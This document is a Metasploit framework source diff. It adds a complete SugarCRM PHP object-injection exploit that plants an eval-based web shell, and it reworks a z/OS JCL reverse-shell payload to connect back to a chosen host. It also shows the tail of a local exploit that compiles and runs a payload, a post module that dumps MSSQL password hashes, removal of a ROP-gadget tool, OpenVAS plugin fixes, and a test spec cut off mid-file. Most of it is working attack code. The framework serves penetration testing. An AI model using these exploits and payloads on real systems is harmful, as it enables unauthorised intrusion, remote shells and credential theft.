|
||||
|
||||
write_file(payload_path, payload.encoded)
|
||||
cmd_exec("chmod 555 #{payload_path}")
|
||||
register_file_for_cleanup(payload_path)
|
||||
|
||||
print_status "Writing exploit to #{executable_path}.c"
|
||||
|
||||
# clean previous bad attempts to prevent c code from exiting
|
||||
rm_f executable_path
|
||||
rm_f '/tmp/atrun'
|
||||
whoami = cmd_exec('whoami')
|
||||
rm_f "/tmp/#{whoami}"
|
||||
|
||||
write_file("#{executable_path}.c", main)
|
||||
print_status("Compiling #{executable_path}.c via gcc")
|
||||
output = cmd_exec("/usr/bin/gcc -o #{executable_path}.out #{executable_path}.c")
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
|
||||
print_status('Starting the payload handler...')
|
||||
handler({})
|
||||
|
||||
print_status("Executing at #{Time.now}. May take up to 10min for callback")
|
||||
output = cmd_exec("chmod +x #{executable_path}.out; #{executable_path}.out")
|
||||
output.each_line { |line| vprint_status(line.chomp) }
|
||||
|
||||
# our sleep timer
|
||||
stime = Time.now.to_f
|
||||
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
|
||||
Rex.sleep(1)
|
||||
end
|
||||
print_status("#{Time.now}")
|
||||
register_file_for_cleanup(executable_path)
|
||||
register_file_for_cleanup("#{executable_path}.out")
|
||||
print_status("Remember to run: chown root:wheel #{datastore["ATRUNPATH"]}")
|
||||
end
|
||||
end
|
|
@ -65,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
res = send_request_raw('uri' => uri)
|
||||
|
||||
if res and res.body =~ /[1.1 r248]/
|
||||
if res && res.body.include?('SkyBlueCanvas [1.1 r248]')
|
||||
vprint_good("SkyBlueCanvas CMS 1.1 r248-xx found")
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
@ -89,7 +89,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'email' => rand_text_alphanumeric(10),
|
||||
'subject' => rand_text_alphanumeric(10),
|
||||
'message' => rand_text_alphanumeric(10),
|
||||
'action' => 'Send'
|
||||
'action' => 'Send',
|
||||
'mailinglist' => '0',
|
||||
'cc' => '0'
|
||||
}
|
||||
})
|
||||
end
|
||||
|
|
|
@ -0,0 +1,94 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23
|
||||
which could be abused to allow unauthenticated users to execute arbitrary PHP code with
|
||||
the permissions of the webserver. The dangerous unserialize() call exists in the
|
||||
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()
|
||||
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.
|
||||
},
|
||||
'Author' => 'EgiX',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://karmainsecurity.com/KIS-2016-07'],
|
||||
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],
|
||||
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],
|
||||
['URL', 'https://bugs.php.net/bug.php?id=72663']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 23 2016'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'
|
||||
|
||||
payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"
|
||||
payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"
|
||||
payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"
|
||||
payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"
|
||||
|
||||
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'method' => 'login',
|
||||
'input_type' => 'Serialize',
|
||||
'rest_data' => payload_serialized
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
print_error('Connection timed out while sending a request to rest.php')
|
||||
return
|
||||
end
|
||||
|
||||
if res && res.code != 200
|
||||
print_error("#{peer} - Exploit failed: #{res.code}")
|
||||
return
|
||||
end
|
||||
|
||||
register_files_for_cleanup(File.basename(upload_php))
|
||||
|
||||
print_status("#{peer} - Executing the payload #{upload_php}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, upload_php),
|
||||
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }
|
||||
})
|
||||
|
||||
if res && res.code != 200
|
||||
print_error("#{peer} - Payload execution failed: #{res.code}")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -94,8 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
},
|
||||
'data' => data
|
||||
})
|
||||
|
||||
if res.nil? || res.headers['Location'].include?('action=Login') || res.get_cookies.empty?
|
||||
if res.nil? || (res.headers['Location'] && res.headers['Location'].include?('action=Login')) || res.get_cookies.empty?
|
||||
fail_with(Failure::NoAccess, "#{peer} - Login failed with \"#{username}:#{password}\"")
|
||||
end
|
||||
|
||||
|
|
|
@ -13,7 +13,7 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 150
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
@ -36,27 +36,39 @@ module MetasploitModule
|
|||
{
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}
|
||||
}))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
|
||||
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
|
||||
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
|
||||
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
|
||||
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
|
||||
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
|
||||
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Construct the paload
|
||||
# Construct Payload
|
||||
##
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
##
|
||||
# Build the command string for JCL submission
|
||||
# Setup replacement vars from options if need be
|
||||
##
|
||||
def command_string
|
||||
"//DUMMY JOB (MFUSER),'dummy job',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
jcl_jobcard +
|
||||
"// EXEC PGM=IEFBR14\n"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,9 +14,7 @@ require 'msf/base/sessions/mainframe_shell'
|
|||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 9001
|
||||
|
||||
CachedSize = 9048
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Mainframe
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
@ -38,22 +36,57 @@ module MetasploitModule
|
|||
'RequiredCmd' => 'jcl',
|
||||
'Payload' =>
|
||||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 0x1b29, 'custom' ],
|
||||
'LPORT' => [ 0x1b25, 'custom' ]
|
||||
},
|
||||
'Payload' =>
|
||||
"//REVSHL JOB (USER),'Reverse shell jcl',\n" \
|
||||
"// NOTIFY=&SYSUID,\n" \
|
||||
"// MSGCLASS=H,\n" \
|
||||
"// MSGLEVEL=(1,1),\n" \
|
||||
"// REGION=0M\n" \
|
||||
'Offsets' => {},
|
||||
'Payload' => ''
|
||||
}))
|
||||
register_options(
|
||||
[
|
||||
# need these defaulted so we can manipulate them in command_string
|
||||
Opt::LHOST('127.0.0.1'),
|
||||
Opt::LPORT(4444),
|
||||
OptString.new('ACTNUM', [true, "Accounting info for JCL JOB card", "MSFUSER-ACCTING-INFO"]),
|
||||
OptString.new('PGMNAME', [true, "Programmer name for JCL JOB card", "programmer name"]),
|
||||
OptString.new('JCLASS', [true, "Job Class for JCL JOB card", "A"]),
|
||||
OptString.new('NOTIFY', [false, "Notify User for JCL JOB card", ""]),
|
||||
OptString.new('MSGCLASS', [true, "Message Class for JCL JOB card", "Z"]),
|
||||
OptString.new('MSGLEVEL', [true, "Message Level for JCL JOB card", "(0,0)"])
|
||||
], self.class
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('NTFYUSR', [true, "Include NOTIFY Parm?", false]),
|
||||
OptString.new('JOBNAME', [true, "Job name for JCL JOB card", "DUMMY"])
|
||||
],
|
||||
self.class
|
||||
)
|
||||
end
|
||||
|
||||
##
|
||||
# Construct Payload
|
||||
##
|
||||
def generate
|
||||
super + command_string
|
||||
end
|
||||
|
||||
##
|
||||
# Setup replacement vars and populate payload
|
||||
##
|
||||
def command_string
|
||||
if (datastore['JOBNAME'] == "DUMMY") && !datastore['FTPUSER'].nil?
|
||||
datastore['JOBNAME'] = (datastore['FTPUSER'] + "1").strip.upcase
|
||||
end
|
||||
lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
lhost = lhost.unpack("H*")[0]
|
||||
lport = datastore['LPORT']
|
||||
lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
|
||||
|
||||
jcl_jobcard +
|
||||
"//**************************************/\n" \
|
||||
"//* Generates reverse shell */\n" \
|
||||
"//**************************************/\n" \
|
||||
"//*\n" \
|
||||
"//STEP1 EXEC PROC=ASMACLG\n" \
|
||||
"//SYSPRINT DD SYSOUT=*,HOLD=YES\n" \
|
||||
"//SYSIN DD *,DLM=ZZ\n" \
|
||||
" TITLE 'z/os Reverse Shell'\n" \
|
||||
"NEWREV CSECT\n" \
|
||||
|
@ -186,7 +219,7 @@ module MetasploitModule
|
|||
"* # BPX1EXC Constants\n" \
|
||||
"EXARG1 DC CL2'sh' # arg 1 to exec\n" \
|
||||
"* # BPX1CON Constants\n" \
|
||||
"SSTR DC X'100202PPPPaaaaaaaa'\n" \
|
||||
"SSTR DC X'100202#{lport}#{lhost}'\n" \
|
||||
"* # BPX1EXC Arguments\n" \
|
||||
"EXCPRM1 DS 0F # actual parm list of exec call\n" \
|
||||
"EXCMDL DC F'7' # len of cmd to exec\n" \
|
||||
|
@ -231,24 +264,5 @@ module MetasploitModule
|
|||
" END MAIN\n" \
|
||||
"ZZ\n" \
|
||||
"//*\n"
|
||||
}))
|
||||
end
|
||||
|
||||
# replace our own LPORT/LHOST
|
||||
def replace_var(raw, name, offset, pack)
|
||||
super
|
||||
if name == 'LHOST' && datastore[name]
|
||||
val = Rex::Socket.resolv_nbo(datastore[name])
|
||||
val = val.unpack("H*")[0]
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
elsif name == 'LPORT' && datastore[name]
|
||||
val = datastore[name]
|
||||
val = val.to_s.to_i.to_s(16).rjust(4, '0')
|
||||
raw[offset, val.length] = val
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -112,11 +112,16 @@ class MetasploitModule < Msf::Post
|
|||
|
||||
print_status("Attempting to get password hashes...")
|
||||
|
||||
get_hash_result = run_sql(query, instance_name)
|
||||
res = run_sql(query, instance_name)
|
||||
|
||||
if get_hash_result.include?('0x')
|
||||
if res.include?('0x')
|
||||
# Parse Data
|
||||
hash_array = get_hash_result.split("\r\n").grep(/0x/)
|
||||
if hash_type == "mssql12"
|
||||
res = res.unpack('H*')[0].gsub("200d0a", "_CRLF_").gsub("0d0a", "").gsub("_CRLF_", "0d0a").gsub(/../) {
|
||||
|pair| pair.hex.chr
|
||||
}
|
||||
end
|
||||
hash_array = res.split("\r\n").grep(/0x/)
|
||||
|
||||
store_hashes(hash_array, hash_type)
|
||||
else
|
||||
|
|
|
@ -42,12 +42,12 @@ class MetasploitModule < Msf::Post
|
|||
# We will just use an x64 only defined env variable to check.
|
||||
progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')
|
||||
progfilesx86 = progfiles_env['ProgramFiles(X86)']
|
||||
if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
||||
if not progfilesx86.blank? and progfilesx86 !~ /%ProgramFiles\(X86\)%/
|
||||
progs = progfilesx86 # x64
|
||||
else
|
||||
progs = progfiles_env['ProgramFiles'] # x86
|
||||
end
|
||||
path = progs + '\\Steam\\config'
|
||||
path = "#{progs}\\Steam\\config"
|
||||
|
||||
print_status("Checking for Steam configs in #{path}")
|
||||
|
||||
|
|
173
msfrop
173
msfrop
|
@ -1,173 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This tool will collect, export, and import ROP gadgets
|
||||
# from various file formats (PE, ELF, Macho)
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib')))
|
||||
require 'msfenv'
|
||||
|
||||
|
||||
|
||||
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
|
||||
|
||||
require 'rex'
|
||||
require 'rex/ropbuilder'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
require 'rex/text/color'
|
||||
require 'optparse'
|
||||
|
||||
def opt2i(o)
|
||||
o.index("0x")==0 ? o.hex : o.to_i
|
||||
end
|
||||
|
||||
opts = {}
|
||||
color = true
|
||||
|
||||
opt = OptionParser.new
|
||||
opt.banner = "Usage #{$PROGRAM_NAME} <option> [targets]"
|
||||
opt.separator('')
|
||||
opt.separator('Options:')
|
||||
|
||||
opt.on('-d', '--depth [size]', 'Number of maximum bytes to backwards disassemble from return instructions') do |d|
|
||||
opts[:depth] = opt2i(d)
|
||||
end
|
||||
|
||||
opt.on('-s', '--search [regex]', 'Search for gadgets matching a regex, match intel syntax or raw bytes') do |regex|
|
||||
opts[:pattern] = regex
|
||||
end
|
||||
|
||||
opt.on('-n', '--nocolor', 'Disable color. Useful for piping to other tools like the less and more commands') do
|
||||
color = false
|
||||
end
|
||||
|
||||
opt.on('-x', '--export [filename]', 'Export gadgets to CSV format') do |csv|
|
||||
opts[:export] = csv
|
||||
end
|
||||
|
||||
opt.on('-i', '--import [filename]', 'Import gadgets from previous collections') do |csv|
|
||||
opts[:import] = csv
|
||||
end
|
||||
|
||||
opt.on('-v', '--verbose', 'Output very verbosely') do
|
||||
opts[:verbose] = true
|
||||
end
|
||||
|
||||
opt.on_tail('-h', '--help', 'Show this message') do
|
||||
puts opt
|
||||
exit
|
||||
end
|
||||
|
||||
begin
|
||||
opt.parse!
|
||||
rescue OptionParser::InvalidOption
|
||||
puts "Invalid option, try -h for usage"
|
||||
exit(1)
|
||||
end
|
||||
|
||||
if opts.empty? and (ARGV.empty? or ARGV.nil?)
|
||||
puts "no options"
|
||||
puts opt
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# set defaults
|
||||
opts[:depth] ||= 5
|
||||
|
||||
gadgets = []
|
||||
|
||||
if opts[:import].nil?
|
||||
files = []
|
||||
ARGV.each do |file|
|
||||
if(File.directory?(file))
|
||||
dir = Dir.open(file)
|
||||
dir.entries.each do |ent|
|
||||
path = File.join(file, ent)
|
||||
next if not File.file?(path)
|
||||
files << File.join(path)
|
||||
end
|
||||
else
|
||||
files << file
|
||||
end
|
||||
end
|
||||
|
||||
ropbuilder = Rex::RopBuilder::RopCollect.new
|
||||
|
||||
files.each do |file|
|
||||
ret, retn = []
|
||||
ropbuilder = Rex::RopBuilder::RopCollect.new(file)
|
||||
ropbuilder.print_msg("Collecting gadgets from %bld%cya#{file}%clr\n", color)
|
||||
retn = ropbuilder.collect(opts[:depth], "\xc2") # retn
|
||||
ret = ropbuilder.collect(opts[:depth], "\xc3") # ret
|
||||
ropbuilder.print_msg("Found %grn#{ret.count + retn.count}%clr gadgets\n\n", color)
|
||||
|
||||
# compile a list of all gadgets from all files
|
||||
ret.each do |gadget|
|
||||
gadgets << gadget
|
||||
if opts[:verbose]
|
||||
ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color)
|
||||
ropbuilder.print_msg("#{gadget[:disasm]}\n", color)
|
||||
end
|
||||
end
|
||||
|
||||
retn.each do |gadget|
|
||||
gadgets << gadget
|
||||
if opts[:verbose]
|
||||
ropbuilder.print_msg("#{gadget[:file]} gadget: %bld%grn#{gadget[:address]}%clr\n", color)
|
||||
ropbuilder.print_msg("#{gadget[:disasm]}\n", color)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
ropbuilder.print_msg("Found %bld%grn#{gadgets.count}%clr gadgets total\n\n", color)
|
||||
end
|
||||
|
||||
if opts[:import]
|
||||
|
||||
ropbuilder = Rex::RopBuilder::RopCollect.new()
|
||||
ropbuilder.print_msg("Importing gadgets from %bld%cya#{opts[:import]}\n", color)
|
||||
gadgets = ropbuilder.import(opts[:import])
|
||||
|
||||
gadgets.each do |gadget|
|
||||
ropbuilder.print_msg("gadget: %bld%cya#{gadget[:address]}%clr\n", color)
|
||||
ropbuilder.print_msg(gadget[:disasm] + "\n", color)
|
||||
end
|
||||
|
||||
ropbuilder.print_msg("Imported %grn#{gadgets.count}%clr gadgets\n", color)
|
||||
end
|
||||
|
||||
if opts[:pattern]
|
||||
matches = ropbuilder.pattern_search(opts[:pattern])
|
||||
if opts[:verbose]
|
||||
ropbuilder.print_msg("Found %grn#{matches.count}%clr matches\n", color)
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:export]
|
||||
ropbuilder.print_msg("Exporting %grn#{gadgets.count}%clr gadgets to %bld%cya#{opts[:export]}%clr\n", color)
|
||||
csv = ropbuilder.to_csv(gadgets)
|
||||
|
||||
if csv.nil?
|
||||
exit(1)
|
||||
end
|
||||
|
||||
begin
|
||||
fd = File.new(opts[:export], 'w')
|
||||
fd.puts csv
|
||||
fd.close
|
||||
rescue
|
||||
puts "Error writing #{opts[:export]} file"
|
||||
exit(1)
|
||||
end
|
||||
ropbuilder.print_msg("%bld%redSuccess!%clr gadgets exported to %bld%cya#{opts[:export]}%clr\n", color)
|
||||
end
|
|
@ -256,11 +256,9 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
begin
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Columns' => ["ID", "Name", "Hosts", "Max Hosts", "In Use", "Comment"])
|
||||
id = 0
|
||||
@ov.target_get_all().each do |target|
|
||||
tbl << [ id, target["name"], target["hosts"], target["max_hosts"],
|
||||
tbl << [ target["id"], target["name"], target["hosts"], target["max_hosts"],
|
||||
target["in_use"], target["comment"] ]
|
||||
id += 1
|
||||
end
|
||||
print_good("OpenVAS list of targets")
|
||||
print_line
|
||||
|
@ -322,10 +320,8 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
begin
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Columns' => ["ID", "Name", "Comment", "Status", "Progress"])
|
||||
id = 0
|
||||
@ov.task_get_all().each do |task|
|
||||
tbl << [ id, task["name"], task["comment"], task["status"], task["progress"] ]
|
||||
id += 1
|
||||
tbl << [ task["id"], task["name"], task["comment"], task["status"], task["progress"] ]
|
||||
end
|
||||
print_good("OpenVAS list of tasks")
|
||||
print_line
|
||||
|
@ -421,10 +417,8 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
tbl = Rex::Text::Table.new(
|
||||
'Columns' => [ "ID", "Name" ])
|
||||
|
||||
id = 0
|
||||
@ov.config_get_all.each do |config|
|
||||
tbl << [ id, config["name"] ]
|
||||
id += 1
|
||||
tbl << [ config["id"], config["name"] ]
|
||||
end
|
||||
print_good("OpenVAS list of configs")
|
||||
print_line
|
||||
|
@ -444,10 +438,8 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
begin
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Columns' => ["ID", "Name", "Extension", "Summary"])
|
||||
id = 0
|
||||
format_get_all.each do |format|
|
||||
tbl << [ id, format["name"], format["extension"], format["summary"] ]
|
||||
id += 1
|
||||
tbl << [ format["id"], format["name"], format["extension"], format["summary"] ]
|
||||
end
|
||||
print_good("OpenVAS list of report formats")
|
||||
print_line
|
||||
|
@ -467,25 +459,16 @@ class Plugin::OpenVAS < Msf::Plugin
|
|||
begin
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Columns' => ["ID", "Task Name", "Start Time", "Stop Time"])
|
||||
id = 0
|
||||
|
||||
resp = @ov.report_get_raw
|
||||
|
||||
resp.elements.each("//get_reports_response/report") do |report|
|
||||
report_task = nil
|
||||
report_start_time = nil
|
||||
report_stop_time = nil
|
||||
report_id = report.elements["report"].attributes["id"]
|
||||
report_task = report.elements["task/name"].get_text
|
||||
report_start_time = report.elements["creation_time"].get_text
|
||||
report_stop_time = report.elements["modification_time"].get_text
|
||||
|
||||
report.elements.each("//task/name") do |task_name|
|
||||
report_task = task_name.get_text
|
||||
end
|
||||
report.elements.each("//creation_time") do |creation_time|
|
||||
report_start_time = creation_time.get_text
|
||||
end
|
||||
report.elements.each("//modification_time") do |mod_time|
|
||||
report_stop_time = mod_time.get_text
|
||||
end
|
||||
tbl << [ id, report_task, report_start_time, report_stop_time ]
|
||||
id += 1
|
||||
tbl << [ report_id, report_task, report_start_time, report_stop_time ]
|
||||
end
|
||||
print_good("OpenVAS list of reports")
|
||||
print_line
|
||||
|
|
|
@ -0,0 +1,10 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/octopusdeploy'
|
||||
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::OctopusDeploy do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::HTTP'
|
||||
|
||||
end
|
|
@ -1,284 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
require 'spec_helper'
|
||||
|
||||
require 'rex/encoder/alpha2/alpha_mixed'
|
||||
|
||||
RSpec.describe Rex::Encoder::Alpha2::AlphaMixed do
|
||||
|
||||
it_behaves_like 'Rex::Encoder::Alpha2::Generic'
|
||||
|
||||
let(:decoder_stub) do
|
||||
"jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
|
||||
end
|
||||
|
||||
let(:reg_signature) do
|
||||
{
|
||||
'EAX' => 'PY',
|
||||
'ECX' => 'I',
|
||||
'EDX' => '7RY',
|
||||
'EBX' => 'SY',
|
||||
'ESP' => 'TY',
|
||||
'EBP' => 'UY',
|
||||
'ESI' => 'VY',
|
||||
'EDI' => 'WY'
|
||||
}
|
||||
end
|
||||
|
||||
describe ".gen_decoder_prefix" do
|
||||
subject(:decoder_prefix) { described_class.gen_decoder_prefix(reg, offset) }
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
|
||||
it "returns decoder prefix" do
|
||||
is_expected.to include(reg_signature[reg])
|
||||
end
|
||||
|
||||
context "when invalid reg name" do
|
||||
let(:reg) { 'NON EXISTENT' }
|
||||
let(:offset) { 0 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(ArgumentError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is bigger than 32" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 33 }
|
||||
|
||||
it "raises an error" do
|
||||
expect { decoder_prefix }.to raise_error(RuntimeError)
|
||||
end
|
||||
end
|
||||
|
||||
context "when modified_registers is passed" do
|
||||
context "when reg is ECX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 0" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 0 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "doesn't mark EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to_not include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 15" do
|
||||
let(:reg) { 'ECX' }
|
||||
let(:offset) { 15 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when reg is EDX" do
|
||||
context "when offset is 10" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 10 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EDX)
|
||||
end
|
||||
end
|
||||
|
||||
context "when offset is 5" do
|
||||
let(:reg) { 'EDX' }
|
||||
let(:offset) { 5 }
|
||||
let(:modified_registers) { [] }
|
||||
|
||||
it "marks ECX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::ECX)
|
||||
end
|
||||
|
||||
it "marks EBX as modified" do
|
||||
described_class.gen_decoder_prefix(reg, offset, modified_registers)
|
||||
expect(modified_registers).to include(Rex::Arch::X86::EBX)
|
||||
end
|
||||
|
||||
it "marks EDX as modified" do
|
